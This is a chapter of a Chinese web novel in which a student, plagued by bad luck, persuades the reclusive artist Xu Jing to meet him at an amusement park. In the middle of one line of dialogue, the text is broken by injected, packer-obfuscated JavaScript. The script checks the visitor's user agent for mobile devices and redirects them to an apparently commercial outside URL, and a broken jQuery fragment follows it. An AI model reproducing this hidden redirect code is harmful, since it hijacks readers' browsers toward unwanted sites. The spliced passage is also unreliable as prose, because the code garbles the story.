第二天还是个早八。
他昨晚压根就不敢回公寓。
临时在学校附近找了个酒店,又买了几套衣服,等到睡觉已经是12点,生物钟严重超时,醒来后一看课表,距离上课还有十分钟,他火急火燎,奔到教室门口,还是迟到了五分钟。
大后排的位置早就坐满了人,他只能在老师的死亡视线中溜到前面几排。
这节是思政,上课没几个人听。
掏出手机和黑屏一个照面,他的脸色已经差得可以比上许鲸。
这种作息……难怪他两不是一个妈生的。
思政课老师的说话声巨催眠,听着听着,他眼前的视线就慢慢模糊了,人影变得模糊,耳边的声音也逐渐模糊……
蒙了层马赛克似的视野中,他似乎看到一道正在走近的人影。
教室的声音离他越来越远,周围越发地空荡荡,他听到一阵缓慢的、嗒嗒的脚步声,越来越清晰。
从门口,绕过讲台——
身后,有风吹过他耳边,桌面上的书翻开了一页。
嗒。
耳畔声音重又响起,眼前画面像是水墨荡开一般,再次明净。
他看见一只白皙的手拍在桌面上,往上看,却是今天的思政老师。
“这位——崔相逢同学。”老师看见了扉页上的姓名,“名字这么古风小生?那就由你来念一下接下来要讲的那一段吧。”
方才他一直半梦半醒,怎么可能知道老师讲到哪——她分明是瞥见他打盹了。
台上的内容还在,他站起来看了一眼黑板,决定找找目录,手指刚刚碰到扉页——一阵风刮过,书页哗啦啦,蹭着他的掌心,翻了好几张。
最后停在第96页。
纸张的小尾巴轻轻勾在指腹。
——和ppt上的内容正好衔接。
怎么会这么巧……
他小小惊讶了一下,顺其自然,照着段落逐字逐句念。念完坐下后,环顾了一圈四周——教室开着空调,窗户紧闭,哪里会有风?
只能是空调风。
这一天满课,无论早到还是晚到,他附近都没什么同桌。
小崔指的同桌范围很广,坐在以他为中心的九宫格范围内,都算同桌。
虽说他是走读生,没有像住宿生一样成群结队的关系,但是和同学们隔这么开的情况还是少见,更何况后来这状况还持续了好几天。
坐在他附近的人,总会因为各种事情挪位置。
最后一节专业课,他卡着点走进教室,斜后角刚好有个人孤零零坐着,没几分钟,那个人就因为某同学书忘带了,被拐了过去。
他身边又成了诡异的真空地带。
下午五点放学,出了教学楼,赤裸裸的高温将他的脖子后背烤得直冒汗。
从学校到酒店还有好长一段距离,但是校内的奶茶店就几步远。他点了一杯正常冰、三分糖。
路上一喝——齁甜,甜得他严重怀疑喝的是纯糖浆。他吐了出来,顺便在路边买了瓶冰矿泉水漱口。
过马路,一辆跑车擦着边从他鞋尖掠过。
回酒店洗澡,热水突然变成冷水直灌而下。
早上上课出门,酒店锁坏了,他莫名被反锁在房间内——
一连晦气几天,再怎么顿感的人都能察觉到,他很明显地被针对了。
小崔原本还想找人代课,宅房间总比在外面安全,但老是被点名,老师将他记得门儿清,代不了一点。
周五他干脆请假。
一直躲床上,只要天花板不塌,什么都伤害不了他。
小崔当起了缩头乌龟,自顾自玩手机,漫画软件蹦出个提醒,许鲸更新了。
他点进去翻了翻,许鲸在助手一栏上加了他名字。
他马上去搜微博关键词,视奸实时广场——好多人叫这个助手出来认领——
“这个小崔是哪个大佬?有没有人知道他的微博账号?”
“助手不是早就招了吗?怎么现在才加名字?”
“说不定人家前面那段时间在被培训……”
“有了助手后许鲸大佬确实画得更快了。”
“建议小崔老师出来唠嗑唠嗑两句——”
小崔估计他们是想从他这知道许鲸的信息——他才不冒头。
不过他在这一话之后画的稿子并不多,也不知道会不会对后续的更新有影响。
许鲸这么厉害,应该不缺他一个吧……
这时,许久未动的邮箱发来了一条消息,一个句号。
现在才想他吗?好久。
小崔瘪瘪嘴,回了一个感叹号!
“回来。”她不装了。
“不要。”
“理由?”
“住久了我都有精神病了出幻觉了地都裂开了楼要倒了好害怕好害怕呜呜呜。”
“我的房间随随便便就能被打开一点隐私都没有好恐怖好恐怖姐姐。”
他断句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094011|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都懒得断,许鲸却自动脑补出他撒娇中带着小恼怒的语气。
“你想要什么?”
能提要求了?
但是他好像之前就提过要求吧。
之前是——不要让她见父母——
现在——他得想想。
小崔切了软件刷小视频,小视频推送的都是一些情侣打卡地点,餐厅约会?太暧昧。景区游玩?太枯燥。其他的不是太商务就是太运动,直到他刷到一个坐着过山车尖叫的视频——
许鲸会是什么反应?
他到现在都没怎么见过许鲸做过什么大表情——其实也没怎么见过她出门。
小崔难以想象许鲸惊声尖叫的样子,但是他很期待。
许鲸的好玩程度其实在过山车之上。
游乐园,离他们很近。
“我要你出来。”
对面停顿了很久,发出两个字:
“可以。”
“明天早上10点,我在游乐园门口等你。”
他又补充了一句:
“不来以后都不理你了。”
这个要求对她好像来说有点挑战性,10点左右是她的休息时间,她答应了就意味着要调作息。
而且,小崔想,天气这么热,死宅会出来吗?
……
幽暗的卧室里,小瓷瓶里的向日葵已经有些蔫了,原本鲜嫩的花瓣有了皱缩的痕迹,脆弱得让人都不敢碰。
卧室里的人一直等到屏幕的亮光熄灭,才在这片地带起身。
鞋子,衣服,糖果……
她逐一清点着明天需要的物件。
除了糖果外,她衣柜里用来外出的装饰品都是单调的灰黑,颜色单一得让人觉得乏味。
她看向窗——还是白天。
她将窗帘开了一个小缝,缝里透出一丝太阳的光,浅浅的,却正好覆盖花轮,好像这样就能挽救即将枯萎的生息……
可是,这样的话,花会不会从此向着窗外呢?
许鲸在瓷瓶中滴了几滴水,手指轻轻地碰了碰花盘后背,仿佛这般提醒,这朵花就不会见异思迁地转向太阳。
她讨厌光和热。
第二天,上午十点,持续了数日的35+高温陡然下降,暴跌二十度,大街上原本穿着短袖吊带的人们被这突然的寒意一激,不约而同打起了喷嚏。
有人说,今天是某市有史以来入秋最早的一天。
也是她真正意义上踏出门的一天。